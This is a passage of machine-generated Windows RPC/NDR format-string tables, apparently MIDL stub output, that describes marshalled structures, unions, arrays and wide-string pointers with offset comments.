0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 6638 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6640 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6642 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6646 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6650 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6652) */\n/* 6652 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6654 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6656 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6660 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (6706) */\n/* 6662 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6661) */\n/* 6664 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 6666 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6668 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6670 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 6672 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6674 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6676 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6680 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 6684 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 6688 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 6690 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6692 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6696 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6700 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6702 */\tNdrFcShort( 0xe5de ),\t/* Offset= -6690 (12) */\n/* 6704 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6706 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6708 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 6710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6712 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (6718) */\n/* 6714 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6716 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6718 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6720 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (6664) */\n/* 6722 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6724 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6726) */\n/* 6726 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6728 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6730 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 6732 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6734 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6736 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6740 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6744 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6746) */\n/* 6746 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 6748 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6750 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6754 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (6800) */\n/* 6756 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6755) */\n/* 6758 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 6760 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6762 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6764 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6766 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6768 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6770 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6774 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 6778 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 6782 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 6784 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6786 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6790 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6794 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6796 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6798 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6800 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6802 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 6804 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6806 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (6816) */\n/* 6808 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6810 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 6812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6814 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6816 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 6818 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 6820 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6822 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (6758) */\n/* 6824 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 6826 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6828) */\n/* 6828 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6830 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 6832 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 6834 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6836 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6838 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6842 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6846 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6848) */\n/* 6848 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 6850 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6852 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6856 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (6902) */\n/* 6858 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6857) */\n/* 6860 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 6862 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6864 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6866 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6868 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 6870 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 6872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6876 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 6880 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 6884 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 6886 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6888 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6892 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6896 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 6898 */\tNdrFcShort( 0xf80c ),\t/* Offset= -2036 (4862) */\n/* 6900 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6902 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 6904 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 6906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6908 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (6916) */\n/* 6910 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 6912 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 6914 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 6916 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 6918 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (6860) */\n/* 6920 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6922 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6924) */\n/* 6924 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6926 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 6928 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 6930 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6932 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6934 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6938 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6942 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6944) */\n/* 6944 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 6946 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6948 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6952 */\tNdrFcShort( 0xf240 ),\t/* Offset= -3520 (3432) */\n/* 6954 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6953) */\n/* 6956 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 6958 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6960) */\n/* 6960 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6962 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 6964 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 6966 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 6968 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 6970 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6974 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6978 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6980) */\n/* 6980 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 6982 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 6984 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 6988 */\tNdrFcShort( 0xf21c ),\t/* Offset= -3556 (3432) */\n/* 6990 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (6989) */\n/* 6992 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 6994 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6996) */\n/* 6996 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 6998 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7000 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7002 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7004 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7006 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7010 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7014 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7016) */\n/* 7016 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7018 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7020 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7024 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7028) */\n/* 7026 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7025) */\n/* 7028 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7030 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7034 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (7044) */\n/* 7036 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 7038 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xe48d ),\t/* Offset= -7027 (12) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 7042 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7044 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7046 */\tNdrFcShort( 0xe51c ),\t/* Offset= -6884 (162) */\n/* 7048 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 7050 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7052) */\n/* 7052 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7054 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7056 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7058 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7060 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7062 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7066 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7070 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7072) */\n/* 7072 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 7074 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7076 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7080 */\tNdrFcShort( 0xf1c0 ),\t/* Offset= -3648 (3432) */\n/* 7082 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7081) */\n/* 7084 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7086 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7088) */\n/* 7088 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7090 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7092 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7094 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7096 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7098 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7102 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7106 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7108) */\n/* 7108 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7110 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7112 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7116 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7120) */\n/* 7118 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7117) */\n/* 7120 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7122 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7126 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (7136) */\n/* 7128 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 7130 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xe431 ),\t/* Offset= -7119 (12) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 7134 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7136 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7138 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7140 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 7142 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7144) */\n/* 7144 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7146 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7148 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7150 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7152 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7154 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7158 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7162 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7164) */\n/* 7164 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 7166 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7168 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7172 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7176) */\n/* 7174 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7173) */\n/* 7176 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7178 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 7180 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 7182 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7184 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7186 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7188) */\n/* 7188 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7190 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7192 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7194 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7196 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7198 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7202 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7206 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7208) */\n/* 7208 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7210 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7212 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7216 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7220) */\n/* 7218 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7217) */\n/* 7220 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7222 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7226 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (7232) */\n/* 7228 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 7230 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7232 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7234 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7236 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7238 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7240 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 7242 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7244) */\n/* 7244 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7246 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7248 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7250 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7252 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7254 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7258 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7262 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7264) */\n/* 7264 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7266 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7268 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7272 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (7298) */\n/* 7274 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7273) */\n/* 7276 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 7278 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 7280 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7282 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7284 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7286 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7288 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7292 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 7296 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7298 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7300 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7304 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (7312) */\n/* 7306 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 7308 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 7310 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7312 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7314 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7316 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7318 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7320 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7322 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (7276) */\n/* 7324 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7326 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7328) */\n/* 7328 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7330 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7332 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7334 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7336 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7346 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7348) */\n/* 7348 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 7350 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7352 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7356 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (7382) */\n/* 7358 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7357) */\n/* 7360 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 7362 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7364 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7366 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 7368 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7370 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7376 */\tNdrFcLong( 0xffff ),\t/* 65535 */\n/* 7380 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7382 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7384 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 7386 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7388 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (7396) */\n/* 7390 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 7392 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 7394 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7396 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7398 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7400 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7402 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (7360) */\n/* 7404 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 7406 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7408) */\n/* 7408 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7410 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7412 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7414 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7416 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7418 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7422 */\tNdrFcLong( 0x0 